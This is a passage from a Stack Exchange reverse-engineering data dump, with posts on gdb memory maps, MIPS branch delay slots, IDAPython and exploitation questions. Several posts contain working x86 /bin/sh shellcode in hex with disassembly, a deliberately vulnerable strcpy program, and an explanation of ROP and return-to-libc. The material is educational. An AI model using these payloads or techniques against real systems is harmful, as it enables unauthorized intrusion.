&lt;a href=&quot;https://xlab.tencent.com/en/2016/11/02/return-flow-guard/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Return Flow Guard&lt;/a&gt;. All four are referenced by fields in the load configuration directory, i.e. in theory they don't have to be in this order or even placed together.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-10-10T20:34:32.623" LastActivityDate="2018-10-10T20:34:32.623" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19598" PostTypeId="1" AcceptedAnswerId="19599" CreationDate="2018-10-11T11:10:50.333" Score="8" ViewCount="24270" Body="&lt;p&gt;I want to find out the base address and the imagesize of the program being debugged in gdb. As in, where it got loaded in memory. For shared libraries I can do &quot;info sharedlibrary&quot;  and I get very nice output like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00007ffff7dd5f10  0x00007ffff7df4b20  Yes         /lib64/ld-linux-x86-64.so.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i get this output for the main program i am debugging?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that gdb disables ASLR and I could just inspect the ELF file myself to find out, but there has to be a way via gdb too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Background: I am using gdb's mi, and I can keep a basic overview of where things are by parsing sharedlibrary-load messages. But it never sends such a message for the main program, which is the most important thing.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2808" LastActivityDate="2019-07-27T20:05:39.770" Title="Find base address and memory size of program debugged in gdb" Tags="|debugging|gdb|debuggers|elf|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19599" PostTypeId="2" ParentId="19598" CreationDate="2018-10-11T13:09:24.507" Score="4" Body="&lt;p&gt;You can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;info inferior&lt;/code&gt; or &lt;code&gt;print getpid()&lt;/code&gt; gives you a process id&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;shell pmap -x {the process id}&lt;/code&gt; gives you a memory map of the process (it is not functionality of gdb, pmap is other shell command, but it is a bit better then analyzing ELF)&lt;/li&gt;&#xA;&lt;li&gt;You can also use &lt;code&gt;shell cat /proc/{pid}/maps&lt;/code&gt; file (as far as I understand pmap just parses and prints its content)  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll see something like this(it's a result of a process named opt which I am debugging just now):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6648:   /home/ubuntu/llvm-5.0.1.src/build/bin/opt&#xA;Address           Kbytes     RSS   Dirty Mode  Mapping&#xA;0000000000400000  100524   36380       8 r-x-- opt&#xA;0000000000400000       0       0       0 r-x-- opt&#xA;000000000682a000    4176     356     296 r---- opt&#xA;000000000682a000       0       0       0 r---- opt&#xA;0000000006c3e000     628      76      76 rw--- opt&#xA;0000000006c3e000       0       0       0 rw--- opt&#xA;0000000006cdb000     684     480     480 rw---   [ anon ]&#xA;0000000006cdb000       0       0       0 rw---   [ anon ]&#xA;00007ffff6908000    1792    1056       8 r-x-- libc-2.23.so&#xA;00007ffff6908000       0       0       0 r-x-- libc-2.23.so&#xA;00007ffff6ac8000    2048       0       0 ----- libc-2.23.so&#xA;00007ffff6ac8000       0       0       0 ----- libc-2.23.so&#xA;00007ffff6cc8000      16      16      16 r---- libc-2.23.so&#xA;00007ffff6cc8000       0       0       0 r---- libc-2.23.so&#xA;00007ffff6ccc000       8       8       8 rw--- libc-2.23.so&#xA;00007ffff6ccc000       0       0       0 rw--- libc-2.23.so&#xA;00007ffff6cce000      16      12      12 rw---   [ anon ]&#xA;00007ffff6cce000       0       0       0 rw---   [ anon ]&#xA;...&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I understand your question correctly the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  0000000000400000  100524   36380       8 r-x-- opt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is what you need.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2018-10-11T13:58:33.797" LastActivityDate="2018-10-11T13:58:33.797" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19600" PostTypeId="2" ParentId="19598" CreationDate="2018-10-11T13:55:28.643" Score="5" Body="&lt;p&gt;&lt;code&gt;info file&lt;/code&gt; shows the memory map of the current process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Local exec file:&#xA;        `/bin/less', file type elf64-x86-64.&#xA;        Entry point: 0x402080&#xA;        0x0000000000400238 - 0x0000000000400254 is .interp&#xA;        0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag&#xA;        0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id&#xA;        0x0000000000400298 - 0x00000000004002e0 is .gnu.hash&#xA;        0x00000000004002e0 - 0x0000000000400b20 is .dynsym&#xA;        0x0000000000400b20 - 0x0000000000400e7d is .dynstr&#xA;        0x0000000000400e7e - 0x0000000000400f2e is .gnu.version&#xA;        0x0000000000400f30 - 0x0000000000400fa0 is .gnu.version_r&#xA;        0x0000000000400fa0 - 0x0000000000401000 is .rela.dyn&#xA;        0x0000000000401000 - 0x0000000000401708 is .rela.plt&#xA;        0x0000000000401708 - 0x0000000000401722 is .init&#xA;        0x0000000000401730 - 0x0000000000401bf0 is .plt&#xA;        0x0000000000401bf0 - 0x0000000000415824 is .text&#xA;        0x0000000000415824 - 0x000000000041582d is .fini&#xA;        0x0000000000415840 - 0x000000000041bd67 is .rodata&#xA;        0x000000000041bd68 - 0x000000000041c90c is .eh_frame_hdr&#xA;        0x000000000041c910 - 0x00000000004208e4 is .eh_frame&#xA;        0x0000000000620e00 - 0x0000000000620e08 is .init_array&#xA;        0x0000000000620e08 - 0x0000000000620e10 is .fini_array&#xA;        0x0000000000620e10 - 0x0000000000620e18 is .jcr&#xA;        0x0000000000620e18 - 0x0000000000620ff8 is .dynamic&#xA;        0x0000000000620ff8 - 0x0000000000621000 is .got&#xA;        0x0000000000621000 - 0x0000000000621270 is .got.plt&#xA;        0x0000000000621280 - 0x000000000062500c is .data&#xA;        0x00007fffff4001c8 - 0x00007fffff4001ec is .note.gnu.build-id in /lib64/ld-linux-x86-64.so.2&#xA;        0x00007fffff4001f0 - 0x00007fffff4002ac is .hash in /lib64/ld-linux-x86-64.so.2&#xA;        0x00007fffff4002b0 - 0x00007fffff40038c is .gnu.hash in /lib64/ld-linux-x86-64.so.2&#xA;        0x00007fffff400390 - 0x00007fffff400630 is .dynsym in /lib64/ld-linux-x86-64.so.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lines without a filename at the end are those for the main executable.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-11T13:55:28.643" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19601" PostTypeId="2" ParentId="19576" CreationDate="2018-10-11T20:33:17.170" Score="3" Body="&lt;p&gt;I don't know about deep learning, but if you are looking for general results on using machine learning for reverse engineering, there was a paper called &quot;Evolving Exact Decompilation&quot; published at the Workshop on Binary Analysis Research 2018, where the researchers claimed to have learned/evolved the ability to decompile a C program. See &lt;a href=&quot;https://www.cs.unm.edu/~eschulte/data/bed.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;the paper here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2018-10-11T20:33:17.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19602" PostTypeId="1" CreationDate="2018-10-12T06:07:08.487" Score="9" ViewCount="668" Body="&lt;p&gt;I'm trying to dump the storage of Xiaomi Home camera.&#xA;It comes with USB port, that if inserted while RESET is pressed is recognized in Linux as a SCSI device.&#xA;I tried mounting the SCSI disc with no success, any idea what's this interface for and how can I dump it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[dmesg log]&#xA;[   63.698810] usb 1-10: new high-speed USB device number 7 using xhci_hcd&#xA;[   63.846904] usb-storage 1-10:1.0: USB Mass Storage device detected&#xA;[   63.847238] scsi host9: usb-storage 1-10:1.0&#xA;[   64.852610] scsi 9:0:0:0: Direct-Access     Grain    GM8136           1.11 PQ: 0 ANSI: 2&#xA;[   64.853053] sd 9:0:0:0: Attached scsi generic sg6 type 0&#xA;[   64.853593] sd 9:0:0:0: [sdf] Attached SCSI removable disk&#xA;&#xA;$ lsscsi  -s&#xA;[0:0:0:0]    disk    ATA      SanDisk SDSSDA24 70RL  /dev/sda &#xA;[1:0:0:0]    disk    ATA      KINGSTON SV300S3 BBF0  /dev/sdb &#xA;[2:0:0:0]    disk    ATA      ST2000DM006-2DM1 CC26  /dev/sdc &#xA;[3:0:0:0]    disk    ATA      MAXTOR STM350063 E     /dev/sdd &#xA;[5:0:0:0]    cd/dvd  ASUS     DRW-24D5MT       1.00  /dev/sr0 &#xA;[8:0:0:0]    disk    Generic  STORAGE DEVICE   0828  /dev/sde &#xA;[9:0:0:0]    disk    Grain    GM8136           1.11  /dev/sdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastEditorUserId="35" LastEditDate="2018-10-21T09:32:22.103" LastActivityDate="2019-04-23T17:02:30.433" Title="SCSI interface through USB" Tags="|hardware|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="19606" PostTypeId="1" AcceptedAnswerId="19630" CreationDate="2018-10-12T15:16:09.790" Score="7" ViewCount="2163" Body="&lt;p&gt;I am statically reversing some software compiled for an Atheros AR7161 using radare2. This processor implements MIPS, and I do recall that MIPS has a branch delay slot. This is indeed noticeable in the disassembly because I can see instructions that should logically execute before branches being placed right after them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, while analyzing some piece of code, I came across a beqz instruction for which assuming that the instruction after it should execute first does not make sense in the context of the program. I must admit that my analysis could be wrong, which is not unlikely; however, I have some doubts that I'd also like to clear:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do all branch/jump instructions always use the branch delay slot such that the instruction right after should logically execute first? If not, in which cases would it not?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there some way to make radare2 show the logical execution order rather than the one encoded in the binary?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: concretely, I am dealing with the following sequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;beqz v0, &amp;lt;some address&amp;gt;&#xA;lb v0, 0x40(sp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a very diffuse picture in my head about these instruction going into the pipeline. I can picture the second instruction being fetched while the first one is being decoded; hence, execution of the branch delay slot should actually start. However, the branch instruction depends on the same register being modified by the instruction in the branch delay slot, so what will happen? Will the branch instruction evaluate the condition using the old register value, or the new one updated by lb?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="25972" LastEditorUserId="25972" LastEditDate="2018-10-12T18:37:26.967" LastActivityDate="2018-10-15T13:35:36.737" Title="Understanding branch delay slots for reversing MIPS" Tags="|radare2|mips|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19607" PostTypeId="1" AcceptedAnswerId="19610" CreationDate="2018-10-12T15:20:40.490" Score="2" ViewCount="1613" Body="&lt;p&gt;I'm trying to determine the destination address for call instructions. I can get this for calls that use an immediate but not for a call to an immediate-assigned register. How can I get the address of the function being called in a situation like this when Ida has inserted a pink comment with funcName?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, funcName&#xA;...&#xA;call eax ; funcName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user25971" LastEditorUserId="2147" LastEditDate="2018-10-12T19:31:52.210" LastActivityDate="2018-10-12T19:31:52.210" Title="IdaPython Get Call Destination for Register Operand" Tags="|ida|idapython|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19608" PostTypeId="2" ParentId="19607" CreationDate="2018-10-12T15:22:26.637" Score="0" Body="&lt;p&gt;Either you use a debugger like OllyDbg and set a breakpoint at the location where the call is. Or you're looking at the previous code at the location where  &lt;code&gt;funcName&lt;/code&gt; is written. If it is written dynamically, you go best with using a debugger. &lt;/p&gt;&#xA;" OwnerUserId="25793" LastEditorUserId="25793" LastEditDate="2018-10-12T15:28:04.567" LastActivityDate="2018-10-12T15:28:04.567" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19609" PostTypeId="2" ParentId="19555" CreationDate="2018-10-12T17:22:00.913" Score="3" Body="&lt;p&gt;These two symbols aren't exported in the usual way (i.e. via the export table).  Instead, they are public symbols inside the run-time library itself.  The startup code that runs before _main() performs the command-line resolution, assigning parameters into the __wargv array, and storing the count in __argc.  The &lt;em&gt;relative&lt;/em&gt; addresses are fixed for the file, but the absolute addresses will vary if Address Space Layout Randomisation (ASLR) is in effect.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2018-10-12T17:22:00.913" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19610" PostTypeId="2" ParentId="19607" CreationDate="2018-10-12T19:02:08.440" Score="2" Body="&lt;p&gt;IDA has a specific mechanism for storing and reading references (either code, data or both) to and from a specific instruction. That mechanism works whenever IDA successfully resolves a reference, which may not always be the case (think of &lt;code&gt;call eax&lt;/code&gt; where &lt;code&gt;eax&lt;/code&gt; is not easily resolved staticly). You should use that interface for all types of calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function that best suits your use case is probably &lt;a href=&quot;https://github.com/idapython/src/blob/master/python/idautils.py#L68&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;idautils.CodeRefsFrom&lt;/code&gt;&lt;/a&gt; which accepts two parameters &lt;code&gt;ea&lt;/code&gt; and &lt;code&gt;flow&lt;/code&gt; and returns a generator for all code references from given &lt;code&gt;ea&lt;/code&gt;. &lt;code&gt;flow&lt;/code&gt; is a boolean used to control whether you wish the next instruction included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a bunch of other related functions, such as &lt;code&gt;CodeRefsTo&lt;/code&gt;, &lt;code&gt;DataRefsFrom&lt;/code&gt;, &lt;code&gt;XrefsTo&lt;/code&gt;, etc... &lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-10-12T19:02:08.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19611" PostTypeId="2" ParentId="19606" CreationDate="2018-10-12T21:15:42.333" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;There are variations of conditional branches called &quot;branch  [ on condition] likely&quot;, e.g.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bgezl&lt;/code&gt; - Branch on Greater Than or Equal to Zero Likely&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;beql&lt;/code&gt; - Branch on Equal Likely&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These instructions have a delay slot but the instruction in the delay slot is executed &lt;strong&gt;only&lt;/strong&gt; if the branch is taken.  If the branch is not taken, the instruction in the delay slot is &lt;strong&gt;not&lt;/strong&gt; executed (&lt;em&gt;nullified&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: these instructions have been removed in the Release 6 of MIPS Architecture.&#xA;It also added compact variations of branches which do not have delay slots&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your snippet, I strongly suspect that the branch uses the &lt;em&gt;old&lt;/em&gt; register value, but you can probably confirm it only by running it on an actual processor.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-12T21:15:42.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19613" PostTypeId="2" ParentId="14464" CreationDate="2018-10-12T22:33:35.410" Score="1" Body="&lt;p&gt;I can solve part of your problem.  Use the 'to_specific_type' attribute to convert a citem to a cexpr:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if citem.is_expr():&#xA;    cexpr = citem.to_specific_type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25978" LastActivityDate="2018-10-12T22:33:35.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19614" PostTypeId="1" CreationDate="2018-10-13T17:20:45.210" Score="0" ViewCount="397" Body="&lt;p&gt;Is there ant way to see all of my changes in idb file ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of variable in psudo code that I changed here name, all the funxtion I rename.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to see all of this &lt;/p&gt;&#xA;" OwnerUserId="23993" LastActivityDate="2018-10-16T12:07:33.930" Title="How to see all of my changes in idb?" Tags="|ida|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19615" PostTypeId="1" AcceptedAnswerId="19616" CreationDate="2018-10-13T17:36:04.843" Score="3" ViewCount="1368" Body="&lt;p&gt;First off we don't have ASLR and stack cookie, and assume we can't create our own files on this system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm trying to execute a shellcode in this code, this is what i have done so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have managed to overwrite the buffer and set the return address of function foo to function critical, but my problem is how to run a specific shellcode here? the execv will run the bin/sh but i can't replace the first argument with a shellcode and it won't work and I'm not sure if its even possible to run a shellcode with execv, and when i pass a shellcode to sh it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also i know the return to libc exploit but still don't know how to execute a shellcode with system()? is it even possible to pass a shellcode to it? or maybe i can use another function to just pass a shellcode to it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i assume we can run our own shellcode if we created our own shellcode file and replaced the sh path, but we don't have access to create files, we have to do it with this code only.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;&#xA;int bar(char *arg, char *out)&#xA;    {&#xA;      strcpy(out, arg);&#xA;      return 0;&#xA;    }&#xA;&#xA;    int foo(char *arg)&#xA;    {&#xA;      char buffer1[100]=&quot;Test program.\n&quot;;&#xA;      char buffer2[100];&#xA;      bar(arg, buffer2);&#xA;      printf(&quot;%s&quot;,buffer1);&#xA;      return 0;&#xA;    }&#xA;&#xA;    void critical()&#xA;    {&#xA;      char *msg[]={&quot;/bin/sh&quot;,NULL};&#xA;      execv(msg[0],msg);&#xA;    }&#xA;&#xA;    int main(int argc, char *argv[])&#xA;    {&#xA;      if (argc != 2)&#xA;      {&#xA;        fprintf(stderr, &quot;prog_vuln2: argc != 2\n&quot;);&#xA;        exit(EXIT_FAILURE);&#xA;      }&#xA;      foo(argv[1]);&#xA;      return 0;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25986" LastActivityDate="2018-10-20T22:32:52.640" Title="How to execute a specific shellcode with a non executable stack without using format string? (without ASLR and stack cookie)" Tags="|buffer-overflow|stack|shellcode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19616" PostTypeId="2" ParentId="19615" CreationDate="2018-10-13T18:32:34.443" Score="4" Body="&lt;p&gt;First thing that comes to mind when you have non-executable stack is &lt;a href=&quot;https://en.wikipedia.org/wiki/Return-oriented_programming&quot; rel=&quot;nofollow noreferrer&quot;&gt;Return-oriented programming&lt;/a&gt; which, as the name implies, uses return to execute a code you want.&lt;br /&gt;&#xA;When using ROP, you will want to use the program's executable and dlls (or .so files for linux) and rely as little as you can on system dlls as they change with the OS version.&lt;br /&gt;&#xA;The idea is that you find a bunch of sequences of instrucitons. each one called a &lt;code&gt;gadget&lt;/code&gt;. A gadget can set a register value by &lt;code&gt;pop&lt;/code&gt;ing a value from the stack, &lt;code&gt;mov&lt;/code&gt;ing a value or adding/subtracting a register, followed by &lt;code&gt;ret&lt;/code&gt; (which means you can usually find them at the end of functions), causing them to return to the next value on the stack (where the return address is expected to be), creating a &lt;code&gt;ROP Chain&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A simple example is when you want to execute a command using &lt;code&gt;system&lt;/code&gt;.&lt;br /&gt;&#xA;you can (on a 64 bit OS) jump to a pop-return where the first value on the stack is your buffer address and the second value is the address of &lt;code&gt;system&lt;/code&gt;, causing system to be called with your buffer as an argument in the correct register (rdi for linux, ecx for windows).&lt;br /&gt;&#xA;On a 32 bit os, the overflow is somewhat simpler. All you need is to oerride the return address to &lt;code&gt;system&lt;/code&gt; and override the 4 bytes after it to be the address of you buffer. That will execute &lt;code&gt;system&lt;/code&gt; with your buffer as the first parameter.&lt;/p&gt;&#xA;" OwnerDisplayName="user22970" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-10-13T18:32:34.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19621" PostTypeId="1" AcceptedAnswerId="19623" CreationDate="2018-10-14T07:03:14.413" Score="2" ViewCount="2193" Body="&lt;p&gt;I have found two shellcodes for spawning &lt;code&gt;/bin/sh&lt;/code&gt; which are much different from each other. The second one is hardly ever found on the net, and it mostly comes up in reverse engineering websites:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89&quot;&#xA;   &quot;\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-811.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-811.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2.  &quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&#xA;    &quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&#xA;    &quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://phrack.org/issues/49/14.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://phrack.org/issues/49/14.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/2705854/can-anyone-explain-this-code-to-me&quot;&gt;https://stackoverflow.com/questions/2705854/can-anyone-explain-this-code-to-me&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the difference and which one is better to use?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can you explain in detail what each of them do? For example why there is a  push &lt;code&gt;0x68732f2f&lt;/code&gt; in the first link? If this is an address then how can you know it before run time if we have things like ASLR and PIE? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why are these shellcodes so much different if they do the same thing? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25986" LastEditorUserId="53" LastEditDate="2018-10-15T07:26:02.370" LastActivityDate="2018-10-15T07:33:01.477" Title="Why there are two different shellcodes for bin/sh with much different syntax and which one is better to use? (x86)" Tags="|disassembly|assembly|x86|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19622" PostTypeId="2" ParentId="19621" CreationDate="2018-10-14T08:42:56.010" Score="3" Body="&lt;p&gt;Both of them have the similar purpose and uses same syscalls (&lt;a href=&quot;http://man7.org/linux/man-pages/man2/execve.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;execve&lt;/a&gt; and &lt;a href=&quot;http://man7.org/linux/man-pages/man2/restart_syscall.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;restart_syscall&lt;/a&gt;), they have no difference in action (just programming style).&#xA;In second shellcode you can easily change the executable command. On the other hand, if the buffer in which you write you payload has a limited size, first one is more compact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$0x68732f2f&lt;/code&gt; is not an address, It's the &lt;code&gt;//sh&lt;/code&gt; string for passing to interrupt so it's not related to ASLR and PIE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pd # shellcode1&#xA;            0x00000000      31c0           xor eax, eax&#xA;            0x00000002      50             push eax&#xA;            0x00000003      682f2f7368     push 0x68732f2f             ; '//sh'&#xA;            0x00000008      682f62696e     push 0x6e69622f             ; '/bin'&#xA;            0x0000000d      89e3           mov ebx, esp ; copy string (command) address in ebx&#xA;            0x0000000f      89c1           mov ecx, eax&#xA;            0x00000011      89c2           mov edx, eax&#xA;            0x00000013      b00b           mov al, 0xb                 ; 11&#xA;            0x00000015      cd80           int 0x80  ; execve()&#xA;            0x00000017      31c0           xor eax, eax&#xA;            0x00000019      40cd80         int 0x80 ; restart_syscall()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pd # shellcode2&#xA;        ,=&amp;lt; 0x00000000      eb1f           jmp 0x21&#xA;        |   0x00000002      5e             pop esi&#xA;        |   0x00000003      897608         mov dword [esi + 8], esi&#xA;        |   0x00000006      31c0           xor eax, eax&#xA;        |   0x00000008      884607         mov byte [esi + 7], al&#xA;        |   0x0000000b      89460c         mov dword [esi + 0xc], eax&#xA;        |   0x0000000e      b00b           mov al, 0xb               ; 11&#xA;        |   0x00000010      89f3           mov ebx, esi ; copy string (command) address in ebx&#xA;        |   0x00000012      8d4e08         lea ecx, [esi + 8]          ; 8&#xA;        |   0x00000015      8d560c         lea edx, [esi + 0xc]        ; 12&#xA;        |   0x00000018      cd80           int 0x80 ; execve()&#xA;        |   0x0000001a      31db           xor ebx, ebx&#xA;        |   0x0000001c      89d8           mov eax, ebx&#xA;        |   0x0000001e      40cd80         int 0x80 ; restart_syscall()&#xA;        `-&amp;gt; 0x00000021      e8dcffffff     call 2 ; push string (command) address to stack and jump to 0x00000002 (0x00000025 must be start of command's string)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated : shellcode problem fixed in the question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;Your second shellcode is incomplete because after your call you must involve your command as a string, and call instruction is used for pushing address of string in the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fixed version of your second shellcode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/s&gt;&lt;/p&gt;&#xA;" OwnerUserId="2864" LastEditorUserId="2864" LastEditDate="2018-10-14T16:36:50.993" LastActivityDate="2018-10-14T16:36:50.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19623" PostTypeId="2" ParentId="19621" CreationDate="2018-10-14T10:16:49.880" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;What is the difference and which one is better to use?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The second one you cite is coming from a historical paper (&quot;&lt;em&gt;Smashing The Stack For Fun And Profit&lt;/em&gt;&quot; by Aleph One in Phrack #49, 1996) (note that you removed the final '/bin/sh' which ruins totally the shellcode). It is probably the most well known explanation of what is a buffer-overflow and how to exploit it. The article itself comes with this shellcode which has been used as it is by numerous people to learn and to exploit in the wild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nowadays, this shellcode will be detected if sent in clear on the network by most of the IDS (Intrusion Detection Systems) and stopped before it reaches its target. Moreover, it is an educational shellcode (read the paper, AlephOne explain how to build such a shellcode), so it is a bit big for a shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the second shellcode is well-known and big, two reasons to not use it except if you want to understand what it does and how to write such thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first shellcode you pointed, is designed to take the less space possible (only 28 bytes compared to 46 with the second). It may be useful to have a small shellcode because sometimes you will have only a small memory space to write it. So, if your shellcode is too big, it won't execute properly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol 